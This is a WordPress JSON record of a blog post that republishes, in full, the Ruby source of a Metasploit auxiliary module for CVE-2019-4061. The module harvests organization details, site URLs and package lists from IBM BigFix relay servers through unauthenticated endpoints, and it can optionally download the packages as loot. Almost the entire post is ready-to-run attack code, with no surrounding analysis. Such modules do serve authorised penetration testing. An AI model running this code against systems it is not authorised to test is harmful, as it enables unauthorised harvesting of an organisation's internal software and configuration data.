{"id":59302,"date":"2024-08-31T23:40:49","date_gmt":"2024-08-31T20:40:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180698\/ibm_bigfix_sites_packages_enum.rb.txt"},"modified":"2024-08-31T23:40:49","modified_gmt":"2024-08-31T20:40:49","slug":"ibm-bigfix-relay-server-sites-and-package-enum","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ibm-bigfix-relay-server-sites-and-package-enum\/","title":{"rendered":"IBM BigFix Relay Server Sites and Package Enum"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;IBM BigFix Relay Server Sites and Package Enum&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module retrieves masthead, site, and available package information<br \/>from IBM BigFix Relay Servers.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;HD Moore&#8217;, # Vulnerability Discovery<br \/>&#8216;Chris Bellows&#8217;, # Vulnerability Discovery<br \/>&#8216;Ryan Hanson&#8217;, # Vulnerability Discovery<br \/>&#8216;Jacob Robles&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;,&#8217;2019-4061&#8242;],<br \/>[&#8216;URL&#8217;,&#8217;https:\/\/www.atredis.com\/blog\/2019\/3\/18\/harvesting-data-from-bigfix-relay-servers&#8217;]],<br \/>&#8216;DefaultOptions&#8217; =&gt;<br \/>{<br \/>&#8216;RPORT&#8217; =&gt; 52311,<br \/>&#8216;SSL&#8217; =&gt; true<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2019-03-18&#8217; # Blog post date<br \/>))<\/p>\n<p>register_options [<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the BigFix server&#8217;, &#8216;\/&#8217;]),<br \/>OptBool.new(&#8216;SHOW_MASTHEAD&#8217;, [true, &#8216;Retrieve information from masthead file&#8217;, true]),<br \/>OptBool.new(&#8216;SHOW_SITES&#8217;, [true, &#8216;Retrieve site listing&#8217;, true]),<br \/>OptBool.new(&#8216;SHOW_PACKAGES&#8217;, [true, &#8216;Retrieve packages list&#8217;, true]),<br \/>OptBool.new(&#8216;DOWNLOAD&#8217;, [true, &#8216;Attempt to download packages&#8217;, false])<br \/>]\n<p>register_advanced_options [<br \/>OptBool.new(&#8216;ShowURL&#8217;, [true, &#8216;Show URL instead of filename&#8217;, false])<br \/>]end<\/p>\n<p>def send_req(uri)<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri, uri)<br \/>})<br \/>end<\/p>\n<p>def masthead<br \/>res = send_req(&#8216;masthead\/masthead.axfm&#8217;)<br \/>return unless res &amp;&amp; res.code == 200<\/p>\n<p>if res.body =~ \/Organization: (.*).\/<br \/>print_good($1)<br \/>end<\/p>\n<p>res.body.scan(\/URL: (.*).\/).each do |http|<br \/>print_good(http[0])<br \/>end<br \/>end<\/p>\n<p>def sites<br \/>res = send_req(&#8216;cgi-bin\/bfenterprise\/clientregister.exe?RequestType=FetchCommands&#8217;)<br \/>return unless res &amp;&amp; res.code == 200<\/p>\n<p>print_status(&#8216;Sites&#8217;)<br \/>res.body.scan(\/: ([^ ]+)\/).each do |url|<br \/>print_good(url[0])<br \/>end<br \/>end<\/p>\n<p>def packages<br \/>res = send_req(&#8216;cgi-bin\/bfenterprise\/BESMirrorRequest.exe&#8217;)<br \/>return unless res &amp;&amp; res.code == 200<\/p>\n<p>print_status(&#8216;Packages&#8217;)<br \/>last_action = nil<br \/>@files = {}<\/p>\n<p>myhtml = res.get_html_document<br \/>myhtml.css(&#8216;.indented p&#8217;).each do |element|<br \/>element.children.each do |text|<br \/>if text.class == Nokogiri::XML::Text<br \/>next if text.text.start_with?(&#8216;Error&#8217;)<\/p>\n<p>text.text =~ \/^([^ ]+)\/<br \/>case $1<br \/>when &#8216;Action:&#8217;<br \/># Save Action to associate URLs<br \/>text.text =~ \/Action: ([0-9]+)\/<br \/>last_action = $1<br \/>@files[last_action] = []print_status(&#8220;Action: #{last_action}&#8221;)<br \/>when &#8216;url&#8217;<br \/>text.text =~ \/^[^:]+: (.*)\/<br \/>uri = URI.parse($1)<br \/>file = File.basename(uri.path)<br \/>@files[last_action].append(file)<br \/>datastore[&#8216;ShowURL&#8217;] ? print_good(&#8220;URL: #{$1}&#8221;) : print_good(&#8220;File: #{file}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n<p>def download<br \/>print_status(&#8216;Downloading packages&#8217;)<br \/>@files.each do |action, val|<br \/>next if val.empty?<br \/>res = send_req(&#8220;bfmirror\/downloads\/#{action}\/0&#8221;)<br \/>next unless res &amp;&amp; res.code == 200<\/p>\n<p>print_status(&#8220;Downloading file #{val.first}&#8221;)<br \/>res = send_req(&#8220;bfmirror\/downloads\/#{action}\/1&#8221;)<br \/>unless res &amp;&amp; res.code == 200<br \/>print_error(&#8220;Failed to download #{val.first}&#8221;)<br \/>next<br \/>end<\/p>\n<p>myloot = store_loot(&#8216;ibm.bigfix.package&#8217;, File.extname(val.first), datastore[&#8216;RHOST&#8217;], res.body, val.first)<br \/>print_good(&#8220;Saved #{val.first} to #{myloot.to_s}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def run<br \/>masthead if datastore[&#8216;SHOW_MASTHEAD&#8217;]sites if datastore[&#8216;SHOW_SITES&#8217;]packages if datastore[&#8216;SHOW_PACKAGES&#8217;] || datastore[&#8216;DOWNLOAD&#8217;]download if datastore[&#8216;DOWNLOAD&#8217;] &amp;&amp; @files != {}<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;IBM BigFix Relay Server Sites and Package Enum&#8217;,&#8216;Description&#8217; =&gt; %q{This module retrieves masthead, site, and available package informationfrom IBM BigFix Relay Servers.},&#8216;Author&#8217; =&gt;[&#8216;HD Moore&#8217;, # Vulnerability Discovery&#8216;Chris Bellows&#8217;, # Vulnerability Discovery&#8216;Ryan Hanson&#8217;, # Vulnerability Discovery&#8216;Jacob &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59302","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59302"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59302\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59302"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}